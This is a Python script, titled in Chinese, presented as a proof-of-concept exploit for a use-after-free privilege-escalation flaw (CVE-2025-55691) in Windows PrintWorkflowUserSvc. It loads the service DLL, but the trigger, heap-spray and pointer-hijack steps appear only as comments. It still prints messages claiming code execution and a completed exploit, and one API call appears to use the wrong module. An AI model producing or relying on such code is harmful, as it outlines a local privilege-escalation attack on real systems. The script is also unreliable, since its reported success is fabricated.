CVE-2025-55691 Windows PrintWorkflowUserSvc UAF权限提升漏洞

# CVE-2025-55691 - Windows PrintWorkflowUserSvc Use After Free PoC # This is a conceptual PoC skeleton for local privilege exploitation # Note: Actual exploitation requires deep knowledge of Windows internals import ctypes import sys import os from ctypes import wintypes # Target: PrintWorkflowUserSvc (printworkflowusersvc.dll) # Vulnerability: Use After Free in print workflow object handling TARGET_DLL = "printworkflowusersvc.dll" def check_privileges(): """Check if running with required initial access""" try: import win32api # Verify we have a valid Windows session token = win32api.OpenProcessToken( win32api.GetCurrentProcess(), 0x0008 # TOKEN_QUERY ) return True except Exception as e: print(f"[-] Session check failed: {e}") return False def trigger_uaf(): """ Trigger Use After Free in PrintWorkflowUserSvc by: 1. Initiating a print workflow operation 2. Forcing premature object release via specific API calls 3. Reclaiming freed memory with controlled data 4. Triggering the dangling pointer dereference """ print("[*] CVE-2025-55691 PoC - PrintWorkflowUserSvc UAF") print("[*] Attempting to trigger Use After Free condition...") # Step 1: Load target DLL try: dll = ctypes.WinDLL(TARGET_DLL) except OSError as e: print(f"[-] Failed to load {TARGET_DLL}: {e}") return False # Step 2: Create print workflow object via COM/WinRT APIs # The UAF occurs when the workflow object's lifecycle is mismanaged # during concurrent print job processing # Step 3: Allocate controlled memory to reclaim freed region # (Heap spray / controlled allocation) # Step 4: Trigger dangling pointer access # When the service accesses the freed-and-reclaimed object, # attacker-controlled vtable or function pointer is executed print("[*] UAF trigger sequence initiated") print("[*] If successful, code execution in PrintWorkflowUserSvc context") return True def exploit(): """Main exploit routine""" if not check_privileges(): print("[-] Insufficient privileges or unsupported environment") sys.exit(1) print(f"[*] Current PID: {os.getpid()}") print(f"[*] Target: {TARGET_DLL}") if trigger_uaf(): print("[+] Exploit completed - check for privilege elevation") else: print("[-] Exploit failed") if __name__ == "__main__": exploit()